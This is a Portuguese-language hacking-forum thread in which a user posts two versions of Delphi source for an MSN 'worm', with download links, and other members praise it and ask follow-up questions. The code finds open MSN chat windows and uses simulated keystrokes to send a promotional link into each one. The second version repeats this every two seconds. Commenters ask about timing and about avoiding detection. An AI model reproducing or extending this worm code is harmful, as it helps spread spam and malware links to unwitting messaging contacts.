FORUM DARKERS

TGA

Bom, depois de muitos estudos sobre o assunto, abordarei aqui uma maneira
simples, de como dissiminar um viri pelo MSN, aqueles que enviam uma
MSG de ( 'Olha aqui minha foto.. www.um_site_qualquer.com/meuviri.exe' (http://www.um_site_qualquer.com/meuviri.exe') ).
Sei que muitos ja sabem como proceder, mais informação nunca é de mais,
então vamos ao code que fis aqui para mostrar como o procedimento é simples.

Quote{ ----------------------------------
   Exemplo 1;
   como espalhar um virus pelo msn
   www.tga.namoral.com (http://www.tga.namoral.com)
  ----------------------------------}

program ExemploWormTGA;

uses //bibliotecas usados
  Windows,
  Classes,
  sndkey32;

Var
  { variaveis usados }
  JA : TStringList; //Recebe os janelas ativas
  i : integer;      //para controlar as linhas do Stringlist


 {----------------------------------------------
    PEGA TODAS AS JANELAS ABERTAS , criei essa
    função Boolean para ficar mais prático;
  --------------------------------------------- }
Function CapJanelasAtivas:Boolean;
const
  MAX_WINDOW = 16364;
var
  I : Word;
  Caption : Array[0..255]Of Char;

begin
  JA.Clear;

  Try
    For I:=1 To MAX_WINDOW Do
      Begin
         If((GetWindowText(I,Caption,255)<>0)And (GetWindowLong(I,GWL_EXSTYLE)<>0)And
           ( GetWindowLong(I,GWL_HWNDPARENT)=0)And (GetWindowLong(I,GWL_HINSTANCE)<>0))Then
         If(IsWindowVisible(I))Then
          JA.Add( Caption );
      end;

    Result := true;
   except
    Result := False;
   end;

End;



begin
  { Cria e iniciar uma StringList}
  JA := TStringList.Create;

  {Se conseguir capturar as janelas Next}
  if CapJanelasAtivas then

      { Fas uma passagem uma a uma das janelas capturadas }
      for  i := 0 to JA.Count -1 do

         { Verifica cada janelas, se contem a string "- Conversa",
           que é da janela do MSN, se for tiver a string Netx }
         if Pos('- Conversa', JA.Strings ) >0 then

            { Tenta focar a janela da conversa, para enviar a mensagem.
               "AppActivate", ja esta embutido na bliblioteca Sndkey32,
               mias é fácio fácio cria uma função que faça o mesmo, como
               ja temos ela embutido, vamos usalas  }
           if  AppActivate( Pchar(JA.Strings) ) then

             { Aqui usei uma biblioteca ja pranto para enviar o texto qye quiser,
               e no fim ele tecla enter, mais vc pode fazer isso vc mesmo em API}
             SendKeys('Vamos animar galera VXs.. www.namoral.com (http://www.namoral.com) {enter}', true );



end.

Para quem quizer baixar o fonte:
http://tga.namoral.com/codigos/Exemplo_WormMSN1.zip (http://tga.namoral.com/codigos/Exemplo_WormMSN1.zip)

Obs: Se o tópico render vomos implemtando esse codigo de vagar,
criaremos em API e em tempo de execução para ficar checando
as janelas e enviando as mensagens.

Vlw.. espero ajudar alguem, 
Abraços.

Com ctz estou baixando aqui TGA, sempre vc tranzendo excelente novidades em programas e codes para o fórum.

 Baixando e testando...

 Abraços

Que massa TGA!
Baixando.
Depois vou "analisar" direito e voltarei aqui com as minhas dúvidas!
sahudauhd

Abraços

Muito bom por sinal!
Irei baixar agora e testá-lo, parabéns! 

Abçs.

pelo q vi ele fica fazendo isso o tmpo td ne? se eu bota dentro de um timer eu consigo regular o tempo entre as msg ne

Quote from: "Maximus"pelo q vi ele fica fazendo isso o tmpo td ne? se eu bota dentro de um timer eu consigo regular o tempo entre as msg ne

É isso mesmo cara!
Basta colocar o time configurar o tempo e pronto!

Abraços

TGA

Bom, para quem curtiu o exemplo acima ai vai uma implementação que fiz aqui, adiantando o que foi feito,
Criei um timer em tempo de execução (API), e criamos uma função para deixar nosso worm rodando e
executando o Timer, bom o codigo está comentado, mais qualquer dpuvida, postem ai..

Quote{ ----------------------------------
   Exemplo 2;
   como espalhar um virus pelo msn
   www.tga.namoral.com (http://www.tga.namoral.com)
  ----------------------------------}

program ExemploWormTGA;

uses //bibliotecas usados
  Windows,
  Classes,
  sndkey32;

Var
  { variaveis usados }
  JA : TStringList; //Recebe os janelas ativas
  i : integer;      //para controlar as linhas do Stringlist
  TempoHandle:WORD; //criar um evento Timer
  Msg : Tmsg;       //Mantem nosso programa rodando


 {----------------------------------------------
    PEGA TODAS AS JANELAS ABERTAS , criei essa
    função Boolean para ficar mais prático;
  --------------------------------------------- }
Function CapJanelasAtivas:Boolean;
const
  MAX_WINDOW = 16364;
var
  I : Word;
  Caption : Array[0..255]Of Char;

begin
  JA.Clear;

  Try
    For I:=1 To MAX_WINDOW Do
      Begin
         If((GetWindowText(I,Caption,255)<>0)And (GetWindowLong(I,GWL_EXSTYLE)<>0)And
           ( GetWindowLong(I,GWL_HWNDPARENT)=0)And (GetWindowLong(I,GWL_HINSTANCE)<>0))Then
         If(IsWindowVisible(I))Then
          JA.Add( Caption );
      end;

    Result := true;
   except
    Result := False;
   end;
End;



 { --------------------------------------------------------
     AQUI CRIAREMOS UM TIMER EM API, O SEU EVENTO, E SUA
     FUNÇÃO PARA INCIAR O TEMPO EM ML (1000)=1 SG OK
   -------------------------------------------------------- }
 procedure Tempo(Wnd:HWnd;Msg,TimerID,dwTime:DWORD);stdcall;
  begin
     { CODIGO FONTE QUE SERÁ EXECUTADO O EVENTO DO TIMER }
  JA := TStringList.Create;
  if CapJanelasAtivas then
      for  i := 0 to JA.Count -1 do
         if Pos('- Conversa', JA.Strings ) >0 then
           if  AppActivate( Pchar(JA.Strings) ) then
             SendKeys('Vamos animar galera VXs.. www.namoral.com (http://www.namoral.com) {enter}', true );
  end;

 { INICIA O TIME COM O TEMPO DEJESADO }
 procedure IniciaTempo(Interval:DWORD);
  begin
    TempoHandle:=SetTimer(0,0,Interval,@Tempo);
  end;


 { INICIO DO PROGRAMA }
begin
 IniciaTempo(2000);  //Dois segundos


   { ESTE CODIGO MOANTEN NOSSO PROGRAMA ABERTO ATÉ QUE ELE SEJA FINALIZADO
     E ELE É COMO SE FOSSE UM APP.PROCESSMESSAGE, ATUALIZANDO A APP. }
  while GetMessage(Msg, 0, 0, 0) do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;

end.

Download do Fonte completo
http://tga.namoral.com/codigos/Exemplo_WormMSN2.rar (http://tga.namoral.com/codigos/Exemplo_WormMSN2.rar)

Vlw.. abraços.. 

Mais um ótimo tutorial TGA, parabêns!

TGA...
Kra meus sinceros parabéns pelo source, seus conhecimentos sobre API são excelentes, vc poderia indiciar algum material do tipo? Gostei muito desse timer criado em tempo de execução...
Aguardo tb uma segunda parte daquela video aula sobre criar pequenos executáveis.





rox_nxr

"Somos aquilo o que fazemos, mas somos principalemente aquilo que fazemos para mudarmos o que somos"

TGA

Vlw,  ;D, e começar
um projeto de proteção de registro, mais é futuramente.. vlw pelos parabens.. abraços a todos

Bem legal mesmo cara..

Parabéns.. É aquela coisa, saber como funciona..

E como outros já comentaram, quando tópicos como este, tiverem mais repercussão do que tópicos ensinando a "configurar kl", etc.. Aí sim, estaremos no caminho certo..

[]s

TGA

@whit3
Faço de suas palavras as minhas, pessoal o que o whit3 citou é estremamente fundamental,
eu vejo pessoas postando programas criado por si mesmo aqui no forum, que quando alguem pergunta
algo sobre o programa, o criador nem sabe responder como foi feito ou que se ocorre, copiar uma função
colar compilar e postar, é legal, mais o importante e saber como ela realmente funciona, entender todo o
processo. Abraços a todos..

falaram de mim  sobre o xtreme keylogger????
Ahauhaauha se for: Eu naum tenho mto tempo sempre q tenho vou e faço algum prog e disponibilizo o code.....

Quote from: "Hacker Xtreme"falaram de mim  ;)

hehe, pode ter certeza q foi pra mim, quando entrei minha reputação já não era das melhores, mto menos agora hauauaha......

TGA

@Hacker Xtreme, fala rapaz.. blz..
Bom quanto as comentarios feito por mim (E tenho certeza que com o whit3_sh4rk tb), não sitei e nem direcionei as palavraz
para alguem, e sim para quem que se encaixe nesse perfil, tenho certeza que são muitas pessoas, tenho certeza que as pessoas
que leram o poste, e descobriram o seu erro diante daquelas palavras, procuraram a mudar, se vc se setiu ofendido me desculpe,
o poster naum foi direcionado a vc ou a qualquer outra pessoa, mais sim para quem se encaixe no perfil, se vc acha que se encaixe, me desculpe, mais uma ves repito, não direcionei o poster a um alvo, essa não foi a itenção, quanto a vc se sentir ofendido
não sei o motivo, talves se vc podesse exclarecer eu entenderia, vla cara.. abraços..

Existe Removedor?! =/

Quote from: "CripToGraFado"Existe Removedor?! =/

O programa acima, não esta injetavel, portanto após iniciar ele, quando vc reiciniar a maquina
ou finalizar o processo, ele não estará mais ativo, vlw.. abraços..

TGA

Não entendo muito de Worms mas esse aí parece bom. É indetectável, né?

TGA; Parabéns, ótimo trabalho.
Eu dou o maior apoio as palavras do white-shark.

Estive fora por uns tempos e como voltei agora a festa ja tinha acabado, tem como up de novo TGA ?
Se puder agradeço ...
Mesmo com o codigo, postado !

format pro C